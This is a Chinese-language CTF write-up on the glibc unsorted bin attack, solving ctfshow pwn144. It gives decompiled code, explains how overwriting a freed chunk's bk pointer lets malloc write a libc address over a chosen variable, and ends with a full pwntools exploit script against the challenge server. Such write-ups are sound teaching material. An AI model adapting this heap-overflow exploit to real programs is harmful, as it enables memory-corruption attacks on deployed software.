unsorted bin attack

unsorted bin attack

原理学习:unsorted bin attack就是能把某个地址的值改成很大,但是这个很大的值又不可控。(这里的ctfshow的pwn144涉及到了这个手法,但是不完全,以后碰到在接着总结)

pwn144

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 3 )
break;
delete_heap();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 114514 )
{
if ( (unsigned __int64)magic <= 0x1BF52 ) //修改magic大于0x1BF52即可达到后门函数
{
puts("So sad !");
}
else
{
puts("Congrt !");
TaT(); //后门函数
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( v3 == 1 )
{
create_heap();
}
else
{
if ( v3 != 2 )
goto LABEL_17;
edit_heap();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 edit_heap()
{
int v1; // [rsp+4h] [rbp-1Ch]
__int64 v2; // [rsp+8h] [rbp-18h]
char buf[4]; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( (unsigned int)v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
v2 = atoi(buf);
printf("Content of heap : ");
read_input(heaparray[v1], v2);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}

edit函数没检查修改的chunk的大小可以进行对下一个堆的覆盖。

攻击思路:

  1. 先申请三个堆块,chunk0,chunk1,chunk2; chunk0用来改chunk1,chunk2用来隔开top_chunk
  2. 将chunk1的bk改成magic的地址-0x10(bk指向的是chunk的其实地址,我们要把magic的地址放入data的位置)
  3. 我们把chunk1放入unsorted bin,然后再申请一样大小的堆,就可以将magic改成一个很大的值。

攻击原理:利用 malloc 从 Unsorted Bin 中取出一个 chunk(称为 victim)时,对 Unsorted Bin 双向链表进行的拆链操作。通过篡改 victim->bk 指针,欺骗分配器,让它错误地更新链表,从而将 target 地址误认为是链表中的一个合法 chunk 的起始位置(chunk header),并将 main_arena 中指向 Unsorted Bin 的指针写入这个“伪造 chunk”的 fd 字段。

这里附一个关键步骤详解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
1.准备 Victim Chunk 并放入 Unsorted Bin:

申请一个稍大的 chunk(例如大于 fastbin 的最大值)。

释放这个 chunk,使其进入 Unsorted Bin。

重要前提: 在攻击发生的时刻,Unsorted Bin 中最好只有这一个 chunk(victim),或者有多个大小完全相同的 chunk(且攻击目标是其中之一)。这样 victim->fd 和 victim->bk 都会直接指向 main_arena 中管理 Unsorted Bin 的头部指针 bin->bk 和 bin->fd,而不是其他 chunk。


2.篡改 Victim->bk:

利用堆漏洞(如 UAF、堆溢出)修改 victim chunk 的 bk 指针。

将 victim->bk 设置为 target - 0x10 (在 64 位系统上) 或 target - 0x8 (在 32 位系统上)。

为什么是 target - 0x10 (64位)?

Unsorted Bin 是一个管理 空闲 chunk 的双向链表。

链表中每个节点的指针(fd 和 bk)指向的是 其他空闲 chunk 的 header 起始地址 (chunk header)。

chunk header 在 64 位系统上通常是 0x10 字节(包含 size/prev_size 和 flags 字段)。

我们希望 malloc 返回后,target 地址处被写入那个巨大的值(即 target 被当作用户数据区 mem 的起始地址)。

为了让分配器认为 target 地址处有一个合法的 chunk,我们需要在 target - 0x10 处伪造一个 chunk header。这样:

伪造 chunk 的 header 地址 = target - 0x10

伪造 chunk 的用户数据区 (mem) 地址 = (target - 0x10) + 0x10 = target

所以,我们将 victim->bk 设置为 target - 0x10,就是在告诉分配器:“Unsorted Bin 中,victim 的下一个空闲 chunk(后向 chunk)的 header 位于 target - 0x10”。


3.触发分配 (malloc) - 拆链操作:

申请一个大小合适的 chunk(通常是和 victim 大小相同或满足 victim 分割条件的 size)。这会触发分配器从 Unsorted Bin 中取出 victim。

分配器执行标准的双向链表移除操作 (拆链):

c
// 伪代码表示关键的拆链步骤 (基于 glibc 源码简化)
bck = victim->bk; // 步骤 (a):bck = target - 0x10
bin->bk = bck; // 步骤 (a):Unsorted Bin 的 bk 指针更新为 target - 0x10
bck->fd = bin; // 步骤 (b):关键写入发生在这里!
步骤 (a): bin->bk = victim->bk = target - 0x10

分配器将 Unsorted Bin 的尾部指针 (bin->bk) 更新为 victim->bk 的值,也就是 target - 0x10。这意味着分配器现在认为 Unsorted Bin 中最后一个 chunk 的 header 在 target - 0x10。

步骤 (b): bck->fd = bin

bck 就是上一步得到的 target - 0x10。

bck->fd 表示“位于 target - 0x10 的这个伪造 chunk”的 fd 指针。

bin 是 main_arena 中管理 Unsorted Bin 的头部指针地址(它是一个很大的 libc 地址)。

这是攻击的核心写入点! 分配器将 bin (那个很大的 libc 地址) 写入到 (target - 0x10) + offset_of(fd) 的位置。

在 chunk 结构中,fd 位于 header 起始地址偏移 0x10 字节处(紧跟在 size 字段之后)。

写入地址 = (target - 0x10) + 0x10 = target。

因此,巨大的值 bin (main_arena 地址) 被写入了 target 地址处。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import * 
count=1
gdb_flag=0
if count==0:
r=process('./pwn')
else:
r=remote('pwn.challenge.ctf.show',28127)
if gdb_flag==1:
gdb.attach(io)
def cmd(x):
r.recvuntil(b'Your choice :')
r.sendline(str(x))
def add(size,data):
cmd(1)
r.recvuntil(b'Size of Heap : ')
r.sendline(str(size))
r.recvuntil(b'Content of heap:')
r.sendline(data)
def delete(index):
cmd(3)
r.recvuntil(b'Index :')
r.sendline(str(index))
def edit(index,size,data):
cmd(2)
r.recvuntil(b'Index :')
r.sendline(str(index))
r.recvuntil(b'Size of Heap : ')
r.sendline(str(size))
r.recvuntil(b'Content of heap : ')
r.send(data)
add(0x80,b'aaaa')
add(0x80,b'bbbb')
add(0x80,b'cccc')
delete(1)
target=0x6020a0
payload=b'x'*(0x90-0x10)+p64(0)+p64(0x91)+p64(0)+p64(target-0x10)
edit(0,len(payload),payload)
add(0x80,b'dddd')
cmd(114514)
r.interactive()
1
2
gdb.attach(r)
pause #可以加这个调试看看,这里就不演示了